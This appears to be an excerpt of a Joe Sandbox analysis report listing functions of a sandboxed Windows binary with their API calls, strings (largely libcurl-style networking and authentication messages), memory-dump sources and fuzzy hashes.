Instruction Fuzzy Hash: FD31822260C7C585E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE604CB20

Function 00007FF79B6F1E42 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299
SEC_E_BAD_BINDINGS, xrefs: 00007FF79B6F1E42

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BAD_BINDINGS
API String ID: 600764987-2710416593
Opcode ID: e72c6dac9182f083b27a246ce7e39daeaee275ef12f8df3a52750dc7f20c32e7
Instruction ID: 267885de4fd1ab06a9ea1fd3ac9b67a2d3e6a4b085d2626d219f7f5ad7208949
Opcode Fuzzy Hash: e72c6dac9182f083b27a246ce7e39daeaee275ef12f8df3a52750dc7f20c32e7
Instruction Fuzzy Hash: 4D31822260C7C585E731AB74A4513AEF7A6FB89741FC40136DA9D02AB5CF3CE644CB20

Function 00007FF79B6F1D8E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 69stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF79B6F1DE9
strchr.VCRUNTIME140 ref: 00007FF79B6F1E10
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F22AF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22BA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF79B6F22C5
GetLastError.KERNEL32 ref: 00007FF79B6F22CE
SetLastError.KERNEL32 ref: 00007FF79B6F22DA

Strings

%s (0x%08X), xrefs: 00007FF79B6F1D95
%s - %s, xrefs: 00007FF79B6F2299
SEC_E_ALGORITHM_MISMATCH, xrefs: 00007FF79B6F1D8E

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_ALGORITHM_MISMATCH
API String ID: 600764987-618797061
Opcode ID: 16bb4725a52e87406c64d7570a0d1708fd42835543bc5ceca5d1af16b41e7555
Instruction ID: e7161d81c30000d3e769cca7b6f7f3133b3ba2b485ef3f17321c5973ba796900
Opcode Fuzzy Hash: 16bb4725a52e87406c64d7570a0d1708fd42835543bc5ceca5d1af16b41e7555
Instruction Fuzzy Hash: 8F31622260C7C585EB31AB74A4453AEB7A6FB89741FC40536DA9D02A75DF3CE644CB20

Function 00007FF79B6FA970 Relevance: 15.1, APIs: 10, Instructions: 67COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,00007FF79B6FA3EE,?,?,?,?,?,?,?,?,?,?,00000000,00007FF79B7010B9), ref: 00007FF79B6FA993
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA9E9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA9F3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FA9FD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA07
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA11
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA1B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA25
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA2F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B6FAA38

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_time64
String ID:
API String ID: 3087401894-0
Opcode ID: d0da0f097b5d80642ff36406b4892f59b7423f49bcee82ad23568ad6ef708db7
Instruction ID: 42bd8f8b4e987e43fcdcbc20f116a185a786bca2e2749dd1eaaff8c2a66da4fa
Opcode Fuzzy Hash: d0da0f097b5d80642ff36406b4892f59b7423f49bcee82ad23568ad6ef708db7
Instruction Fuzzy Hash: 9221FF36A08A49C2DB20AF36E945129A771FB48F94F854132DE9E03774DF7CE585C360

Function 00007FF79B6E73F9 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

invalid number; expected digit after '.', xrefs: 00007FF79B6E7797
invalid number; expected '+', '-', or digit after exponent, xrefs: 00007FF79B6E7947

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID:
String ID: invalid number; expected '+', '-', or digit after exponent$invalid number; expected digit after '.'
API String ID: 0-808606891
Opcode ID: 9448450eb3de28253e4df0924c4658d0be0a605a21eefad039d6e15a47a5022b
Instruction ID: 923f8967b47f31fd1533057f22745baf31c5bd4d21a482ffdf798a4f139312c4
Opcode Fuzzy Hash: 9448450eb3de28253e4df0924c4658d0be0a605a21eefad039d6e15a47a5022b
Instruction Fuzzy Hash: 98B16262508A49C1EB349F7CD44827CB763FB15B58FA44535C66E022E8DF3AFAA5C360

Function 00007FF79B73E240 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E30A
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E358
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E3BB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B73E4F9

Part of subcall function 00007FF79B7322A0: strchr.VCRUNTIME140(00000000,?,?,00007FF79B73185F), ref: 00007FF79B7322E6
Part of subcall function 00007FF79B7322A0: strchr.VCRUNTIME140(00000000,?,?,00007FF79B73185F), ref: 00007FF79B7322F6
Part of subcall function 00007FF79B7322A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,00007FF79B73185F), ref: 00007FF79B732320
Part of subcall function 00007FF79B7322A0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B732355
Part of subcall function 00007FF79B7322A0: strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B73237A
Part of subcall function 00007FF79B7322A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B73239C

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B73E584

Strings

GSSAPI handshake failure (empty challenge message), xrefs: 00007FF79B73E403
GSSAPI, xrefs: 00007FF79B73E243
Kerberos, xrefs: 00007FF79B73E2D3, 00007FF79B73E375

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup$callocmallocstrchr$freestrncpy
String ID: GSSAPI$GSSAPI handshake failure (empty challenge message)$Kerberos
API String ID: 370574955-353107822
Opcode ID: 97e1b16efe85accf3280f51b2dfd9503afd202376f1122c1dcbf4fd5d76c7b35
Instruction ID: 15e42680ced0ee711ff9871e45a7a828d43d2fb2e11be179d86fa7a11c3a2839
Opcode Fuzzy Hash: 97e1b16efe85accf3280f51b2dfd9503afd202376f1122c1dcbf4fd5d76c7b35
Instruction Fuzzy Hash: 05A15232A08B5986EB609F79E8402ADB7A5FB48B44F800236DE4D57778EF38D549C760

Function 00007FF79B6F91B5 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 206COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F91FA
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F921A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F926B

Part of subcall function 00007FF79B6FAA80: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6FAA86

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9371

Strings

FALSE, xrefs: 00007FF79B6F934B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
Replaced, xrefs: 00007FF79B6F9601
Added, xrefs: 00007FF79B6F960D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced
API String ID: 1169197092-2292467869
Opcode ID: 885132bfc6f569fa9e4364d0e212aa131c61de749b27f2b2bd18638b8e276b83
Instruction ID: 194b7964bcb90566bd00a9a909befadcee476b5bc214bd91c3f982dc5d74a33b
Opcode Fuzzy Hash: 885132bfc6f569fa9e4364d0e212aa131c61de749b27f2b2bd18638b8e276b83
Instruction Fuzzy Hash: 75916222E0C78A45FF75A739944A379E7A2AF56754F840136CA9E026F1DF2CF644C360

Function 00007FF79B7124B0 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 181COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B71257C

Strings

Basic, xrefs: 00007FF79B712671
Digest, xrefs: 00007FF79B712614
Negotiate, xrefs: 00007FF79B712526
Authentication problem. Ignoring this., xrefs: 00007FF79B7126BD
Ignoring duplicate digest auth header., xrefs: 00007FF79B71262D
Bearer, xrefs: 00007FF79B712698
NTLM, xrefs: 00007FF79B7125AC

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup
String ID: Authentication problem. Ignoring this.$Basic$Bearer$Digest$Ignoring duplicate digest auth header.$NTLM$Negotiate
API String ID: 1169197092-907567932
Opcode ID: fd8626e724c16117a797dc353e5ebe47805927aaa71765aefca5cfb5a68c864c
Instruction ID: cf19e79058323495e4b15738eb0297efb4cd5ef783b6958def45c6d38f74bb51
Opcode Fuzzy Hash: fd8626e724c16117a797dc353e5ebe47805927aaa71765aefca5cfb5a68c864c
Instruction Fuzzy Hash: 3771F76190C28E46FB34EB799940276F6D1AB89788F844137DE4A466F2DF2CE7648730

Function 00007FF79B6F92C3 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 169COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F92C6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B6F9371

Strings

__Host-, xrefs: 00007FF79B6F92FD
FALSE, xrefs: 00007FF79B6F934B
%s cookie %s="%s" for domain %s, path %s, expire %I64d, xrefs: 00007FF79B6F9617
__Secure-, xrefs: 00007FF79B6F92E0
Replaced, xrefs: 00007FF79B6F9601
Added, xrefs: 00007FF79B6F960D

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup
String ID: %s cookie %s="%s" for domain %s, path %s, expire %I64d$Added$FALSE$Replaced$__Host-$__Secure-
API String ID: 1169197092-978722393
Opcode ID: 39dff23ab9e62df8e455a59c0b7cf5ca0842b95295e71ffbebd87fca4db492d1
Instruction ID: dbdcc0c57a0b5a619d369c3fa6d4f51e464b2df618358eb263ab3871d2284710
Opcode Fuzzy Hash: 39dff23ab9e62df8e455a59c0b7cf5ca0842b95295e71ffbebd87fca4db492d1
Instruction Fuzzy Hash: 51716122E0C78A45FF75AB39944A37AE7A2AF56754F840136CA9D026F1DF2CF644C360

Function 00007FF79B703FF0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 142stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7040CC
strchr.VCRUNTIME140 ref: 00007FF79B704100
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF79B704120
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7041A4

Strings

%s%s%s, xrefs: 00007FF79B70408F
Connecting to port: %d, xrefs: 00007FF79B7041C0
anonymous, xrefs: 00007FF79B704000
Connecting to hostname: %s, xrefs: 00007FF79B70417B

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$strchrstrtol
String ID: %s%s%s$Connecting to hostname: %s$Connecting to port: %d$anonymous
API String ID: 137861075-1224060940
Opcode ID: b1d23da1f6448ceea52aefbd53d22620ef15af7bfc877e12de7476ea10bbd4ea
Instruction ID: a68bee2e1efbf3b8882b1cf08e7946d28e83de624258993c669c71ef03659a24
Opcode Fuzzy Hash: b1d23da1f6448ceea52aefbd53d22620ef15af7bfc877e12de7476ea10bbd4ea
Instruction Fuzzy Hash: 4C518622A08AC695EB31AB29AC403B9A7B1FB49B94F844237DE5D077B5CE3DD745C310

Function 00007FF79B6F4067 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

Set-Cookie:, xrefs: 00007FF79B6F4188
ALL, xrefs: 00007FF79B6F4073
SESS, xrefs: 00007FF79B6F40B3
FLUSH, xrefs: 00007FF79B6F40F3
RELOAD, xrefs: 00007FF79B6F4115

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID: ALL$FLUSH$RELOAD$SESS$Set-Cookie:
API String ID: 1294909896-1147549499
Opcode ID: 567cec5eb1f694fa24dd200d27c250479e4804b01726046d216b7bbc46925cfe
Instruction ID: 3f70e21593124258e03b7fb688d2e4c85bcc27b1b82d6364f8cf5303ffa8e80d
Opcode Fuzzy Hash: 567cec5eb1f694fa24dd200d27c250479e4804b01726046d216b7bbc46925cfe
Instruction Fuzzy Hash: 7B416511B0C50A42FA34BB3E59522B9D2A75F88BC0FD40136DA1D47AB6DE3DF7119270

Function 00007FF79B726371 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 108stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140 ref: 00007FF79B726383
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B72639E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B7263CA
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7263EF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B7264CC

Strings

Wildcard - Parsing started, xrefs: 00007FF79B726467

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: _strdup$callocfreestrrchr
String ID: Wildcard - Parsing started
API String ID: 2641349667-2274641867
Opcode ID: 88b144cc56bc3fe35c4db0f39c44eab320178b2b170d387642b05e09fc603901
Instruction ID: a15477d244a99727b4e42c51676058febc99db1a1193d2914c763c9cabbb58df
Opcode Fuzzy Hash: 88b144cc56bc3fe35c4db0f39c44eab320178b2b170d387642b05e09fc603901
Instruction Fuzzy Hash: 64515136A08B8AC5EB25EF29E4441B8B3A5FB88B50F854237CA4E47374DF38D655C320

Function 00007FF79B736A9C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF79B736AC3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B736F7E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B737023

Strings

FALSE, xrefs: 00007FF79B736AB8
Signature Algorithm: %s, xrefs: 00007FF79B737011
Signature Algorithm, xrefs: 00007FF79B736FF7
Serial Number: %s, xrefs: 00007FF79B736F6C
Serial Number, xrefs: 00007FF79B736F52

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free$_strdup
String ID: Serial Number: %s$ Signature Algorithm: %s$FALSE$Serial Number$Signature Algorithm
API String ID: 2653869212-3672398475
Opcode ID: e343febf516ec9d38bf4e5ff34aca985b545a36e1131153d014cfbc99d8ea65a
Instruction ID: 045ac4dc12b4c51d7e6b72a215018dddc6ce5c33acc4732aa51ca21e2a73e858
Opcode Fuzzy Hash: e343febf516ec9d38bf4e5ff34aca985b545a36e1131153d014cfbc99d8ea65a
Instruction Fuzzy Hash: 38418592B0978A45EB35AB7DA4441F9A761BB09784F840637DE4E07776DF3CE2488320

Function 00007FF79B72F4F0 Relevance: 13.8, APIs: 11, Instructions: 29COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F4FC
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F506
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F510
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F51A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F524
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F52E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F538
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F542
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F54C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F556
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF79B72E522,?,?,00000000,00007FF79B70562B,?,?,00000000,00007FF79B701073,?,?,00000000,00007FF79B7015F5), ref: 00007FF79B72F560

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4bd9b4a64c6f4928f2aeb53d54435eee89f370362724c80c36f7871448125e9d
Instruction ID: 2b0433b1222112dd9b0d73235ec734ae4a08a24e6efe2db06d2454e059cd2f09
Opcode Fuzzy Hash: 4bd9b4a64c6f4928f2aeb53d54435eee89f370362724c80c36f7871448125e9d
Instruction Fuzzy Hash: AD01B526A14909C3D724AF3AEC960386330FF8CF59B941132CE6E46234DE78D999C360

Function 00007FF79B72E8E0 Relevance: 13.7, APIs: 3, Strings: 6, Instructions: 223COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF79B72EA35
memcpy.VCRUNTIME140 ref: 00007FF79B72EA52

Strings

https, xrefs: 00007FF79B72E970
%%25%s], xrefs: 00007FF79B72EA62
file, xrefs: 00007FF79B72E8FB
%ld, xrefs: 00007FF79B72E99E
file://%s%s%s, xrefs: 00007FF79B72E92E
%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s, xrefs: 00007FF79B72EC22

Memory Dump Source

Source File: 00000000.00000002.2032923730.00007FF79B6E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79B6E0000, based on PE: true

Associated: 00000000.00000002.2032840820.00007FF79B6E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032986911.00007FF79B741000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033004327.00007FF79B758000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033018286.00007FF79B759000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79b6e0000_lvXRlexBnb.jbxd

Similarity

API ID: mallocmemcpy
String ID: %%25%s]$%ld$%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s$file$file://%s%s%s$https
API String ID: 4276657696-1832275178
Opcode ID: b4658a80f4914b881289cdf9ec249ecfe85db5b317b3999fd571b759e4aeb899
Instruction ID: 53a9ba788e59c333ab6de8b2a5f30991701599a646f0654da015b00fe08432ad
Opcode Fuzzy Hash: b4658a80f4914b881289cdf9ec249ecfe85db5b317b3999fd571b759e4aeb899
